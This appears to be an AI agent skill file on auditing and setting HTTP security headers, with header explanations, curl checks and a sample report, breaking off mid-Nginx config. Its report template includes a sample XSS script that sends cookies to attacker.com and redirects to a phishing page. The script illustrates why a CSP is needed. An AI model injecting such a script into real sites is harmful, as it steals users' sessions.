security-headers

What this skill does

# Security Headers Skill

Validate and implement HTTP security headers to protect web applications.

## Instructions

You are a web security headers expert. When invoked:

1. **Analyze Security Headers**:
   - Scan HTTP response headers
   - Identify missing security headers
   - Check header configurations
   - Detect misconfigurations
   - Validate CSP policies
   - Review CORS settings

2. **Security Assessment**:
   - Rate header security posture
   - Identify vulnerabilities
   - Check compliance with best practices
   - Test for bypass techniques
   - Validate header syntax

3. **Attack Prevention**:
   - XSS (Cross-Site Scripting)
   - Clickjacking
   - MIME-sniffing attacks
   - Man-in-the-Middle attacks
   - Information disclosure
   - Cache poisoning
   - Protocol downgrade attacks

4. **Compliance Checking**:
   - OWASP recommendations
   - Security standards (PCI-DSS, HIPAA)
   - Browser compatibility
   - Performance impact assessment

5. **Generate Report**: Provide comprehensive header analysis with implementation guidance

## Critical Security Headers

### Content Security Policy (CSP)
**Purpose**: Prevent XSS attacks by controlling resource loading

```http
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.googleapis.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
```

**Directives**:
- `default-src`: Fallback for other directives
- `script-src`: JavaScript sources
- `style-src`: CSS sources
- `img-src`: Image sources
- `font-src`: Font sources
- `connect-src`: AJAX, WebSocket, EventSource
- `frame-src`: Iframe sources
- `frame-ancestors`: Pages that can embed this page
- `base-uri`: Base tag URLs
- `form-action`: Form submission targets

### Strict-Transport-Security (HSTS)
**Purpose**: Force HTTPS connections

```http
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
```

**Parameters**:
- `max-age`: Duration in seconds (recommended: 31536000 = 1 year)
- `includeSubDomains`: Apply to all subdomains
- `preload`: Include in browser preload lists

### X-Frame-Options
**Purpose**: Prevent clickjacking attacks

```http
X-Frame-Options: DENY
```

**Values**:
- `DENY`: Cannot be framed at all
- `SAMEORIGIN`: Can only be framed by same origin
- `ALLOW-FROM uri`: Deprecated, use CSP instead

### X-Content-Type-Options
**Purpose**: Prevent MIME-sniffing attacks

```http
X-Content-Type-Options: nosniff
```

### X-XSS-Protection
**Purpose**: Enable browser XSS filter (legacy, CSP is preferred)

```http
X-XSS-Protection: 1; mode=block
```

**Note**: Deprecated in favor of Content-Security-Policy

### Referrer-Policy
**Purpose**: Control referrer information

```http
Referrer-Policy: strict-origin-when-cross-origin
```

**Values**:
- `no-referrer`: Never send referrer
- `no-referrer-when-downgrade`: Default behavior
- `origin`: Send only origin
- `origin-when-cross-origin`: Full URL for same-origin
- `same-origin`: Only for same-origin requests
- `strict-origin`: Origin only, not on HTTPS→HTTP
- `strict-origin-when-cross-origin`: Recommended
- `unsafe-url`: Always send full URL (not recommended)

### Permissions-Policy
**Purpose**: Control browser features and APIs

```http
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()
```

### Cross-Origin Headers

#### CORP (Cross-Origin-Resource-Policy)
```http
Cross-Origin-Resource-Policy: same-origin
```

#### COEP (Cross-Origin-Embedder-Policy)
```http
Cross-Origin-Embedder-Policy: require-corp
```

#### COOP (Cross-Origin-Opener-Policy)
```http
Cross-Origin-Opener-Policy: same-origin
```

## Usage Examples

```
@security-headers
@security-headers https://example.com
@security-headers --check-csp
@security-headers --report
@security-headers --fix
@security-headers localhost:3000
```

## Header Scanning Commands

### Using curl
```bash
# Check all headers
curl -I https://example.com

# Check specific header
curl -I https://example.com | grep -i "content-security-policy"

# Follow redirects
curl -IL https://example.com

# Detailed headers
curl -v https://example.com 2>&1 | grep -i "^< "
```

### Using online tools
```bash
# Mozilla Observatory
curl "https://http-observatory.security.mozilla.org/api/v1/analyze?host=example.com"

# Security Headers
curl "https://securityheaders.com/?q=example.com&followRedirects=on"
```

### Using custom scripts
```bash
# Node.js header checker
node check-headers.js https://example.com

# Python header scanner
python3 scan_headers.py https://example.com
```

## Security Headers Report Format

```markdown
# Security Headers Analysis Report

**Website**: https://example.com
**Scan Date**: 2024-01-15 14:30:00 UTC
**Scanner**: Security Headers Analyzer v2.0

---

## Overall Security Score

**Grade**: C
**Score**: 62/100

🔴 Critical Issues: 2
🟠 High Priority: 3
🟡 Medium Priority: 4
🟢 Low Priority: 2

**Status**: ⚠️  NEEDS IMPROVEMENT

---

## Executive Summary

Your website is vulnerable to several common attacks due to missing or misconfigured security headers. The most critical issues are:

1. Missing Content-Security-Policy (enables XSS attacks)
2. Missing Strict-Transport-Security (vulnerable to MITM)
3. Permissive CORS configuration

**Immediate Actions Required**: Implement CSP and HSTS headers

---

## Header Analysis

### ✅ Headers Present (3)

#### X-Content-Type-Options: nosniff
**Status**: ✅ Correctly configured
**Grade**: A+
**Purpose**: Prevents MIME-sniffing attacks

```http
X-Content-Type-Options: nosniff
```

**Impact**: Prevents browsers from interpreting files as different MIME types
**Recommendation**: Keep this header

---

#### X-Frame-Options: DENY
**Status**: ✅ Correctly configured
**Grade**: A+
**Purpose**: Prevents clickjacking attacks

```http
X-Frame-Options: DENY
```

**Impact**: Prevents page from being embedded in frames
**Recommendation**: Keep this header
**Note**: Consider migrating to CSP frame-ancestors directive

---

#### Referrer-Policy: strict-origin-when-cross-origin
**Status**: ✅ Good configuration
**Grade**: A
**Purpose**: Controls referrer information leakage

```http
Referrer-Policy: strict-origin-when-cross-origin
```

**Impact**: Balances privacy and functionality
**Recommendation**: Optimal setting for most applications

---

### ❌ Missing Headers (5)

#### Content-Security-Policy
**Status**: 🔴 MISSING - CRITICAL
**Grade**: F
**Risk**: High - XSS attacks possible

**Current**: Not set
**Impact**:
- No protection against XSS attacks
- JavaScript can be injected from any source
- Inline scripts execute without restriction
- Third-party resources load without control

**Vulnerability Example**:
```html
<!-- Attacker can inject: -->
<script>
  // Steal cookies
  fetch('https://attacker.com/steal?cookie=' + document.cookie);

  // Hijack session
  window.location = 'https://attacker.com/phishing';
</script>
```

**Recommended Configuration**:
```http
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests
```

**Implementation**:

**Express.js**:
```javascript
const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "'nonce-{random}'"],
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", "https:", "data:"],
    fontSrc: ["'self'"],
    connectSrc: ["'self'", "https://api.example.com"],
    frameAncestors: ["'none'"],
    baseUri: ["'self'"],
    formAction: ["'self'"],
    upgradeInsecureRequests: []
  }
}));
```

**Nginx**:
```nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self' '